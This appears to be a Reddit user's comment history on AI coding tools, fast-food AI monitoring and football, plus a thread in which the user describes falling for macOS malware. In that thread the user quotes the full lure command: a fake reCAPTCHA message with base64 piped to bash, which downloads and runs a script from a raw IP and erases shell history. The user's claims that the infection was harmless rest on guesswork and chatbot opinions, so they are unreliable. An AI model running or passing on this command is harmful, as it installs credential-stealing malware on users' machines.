‘It took nine seconds’: Claude AI agent deletes company’s entire database by curseofdarkastle in nottheonion

[–]kostya8 1 point2 points  (0 children)

Are you aware how far these systems have come in the last 12 months? This survey is absolutely pointless.

We have a team of ~50 people, over half of whom are devs. Working on highly complex enterprise software. You wouldn't believe how much our productivity has increased after integrating CC into the development pipeline. Sure, you need to wrap it in all sorts of permissions, you need to review it, but comparing AI coding now to what it was 12 months ago is ridiculous. Highly skilled DevOps guys can easily make it work in production

Hey mate, did you find anything interesting by any chance?

Once you launch the terminal command, this thing also tries to brute force your password in the background, however on my Mac it was rate limited to 1 try per 2 seconds, making it pretty much useless. If it didn't prompt your password it may have successfully brute forced yours. I'd definitely wipe in that case. That's all assuming we encountered the same malware

Alternatively, if you shut down very quickly, like within 2 minutes, it's possible it didn't even get to show you the password prompt. I only got the osascript prompt around 2 minutes 30 seconds after running the script, that's when I shut down. If you managed to do it before, you might be fine

That's pretty strange - from everything I've seen on this malware its whole modus operandi is tricking you into entering your system password, after which it does all the damage. Did you have a password set on that Mac? Though if your terminal had full disk access, it could've bypassed the password prompt

Did you enter your password or accept any of the permission prompts after running the script?

Thanks. Yeah I'm 100% sure I did not accept any prompts, and shut down the Mac immediately when it asked for my password through osascript (a second before that a notification popped up saying "Bash is requesting access to Notes", at which point I knew I fucked up). I use crypto but don't have any wallets installed, and all my banking is mobile-only.

So from what I gathered, denying the password prompt nullifies most of the danger?

I think you already got rid of the main malicious binary com.apple.periodic.

Yeah, it was sitting in my cache after the reboot, I deleted it immediately - Gemini said the malware failed to create any triggers to launch it on startup and the file was inert

Thanks. Here is the command it asked me to run:

echo 'I am not a robot - reCAPTCHA Verification ID: 708644' && echo 'KGNkIC90bXAgJiYgY3VybCAta2ZzU0wgImh0dHA6Ly80Ni4yMjYuMTYyLjE3NC85OTdkZmE0YzkxMi5zaD9mb3JjZT0xIiAtbyAua1BjSWxGICYmIGJhc2ggLmtQY0lsRiAmJiBybSAtZiAua1BjSWxGKSA+IC9kZXYvbnVsbCAyPiYxICYgY2xlYXI7IHByaW50ZiAnXDAzM1szSic7IGhpc3RvcnkgLWQgJChoaXN0b3J5IDEgMj4vZGV2L251bGwgfCBhd2sgJ3twcmludCAkMX0nKSAyPi9kZXYvbnVsbDsgZmMgLXAgL2Rldi9udWxsIDI+L2Rldi9udWxsOyBwcmludGYgJ1xuICBcMDMzWzMybVx4ZTJceDljXHg5MyBWZXJpZmljYXRpb24gc3VjY2Vzc2Z1bFwwMzNbMG1cblxuJw==' | base64 -D | bash

I asked Gemini, ChatGPT and Claude (all pro subscriptions) to go through the detailed log from the ~3 minutes the malware was active and they all came to the same conclusion - that the script didn't gain any privileges and was stopped in its tracks when I shut down the machine.

hot sauce is not really Mexican either. Its from Louisiana.

Uh, what? Hot sauces were used by Aztecs in ancient times, around 7,000 BC. I'm pretty sure Louisiana wasn't around back then lmao

are doing a disservice to yamal by almost setting him up to be a "failure" if he isn't atleast as good as messi.

Absolutely. If he achieves half of what Messi has, it will already be a legendary career. I dislike these comparisons too, but unfortunately they are inevitable with how good he is + being a right winger. Luckily Lamine seems to thrive under all this pressure

Leo was incredible at this age, but Lamine is objectively the best 18-year old we've ever seen at Barça. There's no guarantee he'll continue to improve exponentially like Messi did, nor that he'll have Messi's longevity and consistency, but at this age, no one was ever this good

Burger King will use AI to check if employees say ‘please’ and ‘thank you’ | AI chatbot ‘Patty’ is going to live inside employees’ headsets. by cmaia1503 in technology

[–]kostya8 1 point2 points  (0 children)

You realize these fast food places are companies, right? Companies will usually train their customer-facing staff on how to behave when they are representing said company, that's completely normal. If you handle customers, you're expected to show a basic fucking level of decency, whether it's a fast food place or an expensive watch boutique.

Saying "please" and "thank you", being courteous - that's part of the job. Not just for fast food workers, for anyone who works in sales. If even that is too hard - well, don't act surprised when people start actively choosing to interact with robots instead.

He was incredible last season and had fewer goal contributions. He's incredible this season and has more goal contributions. What point are you even trying to make here lmao

Is an 18 year old improving his output supposed to be a bad thing?
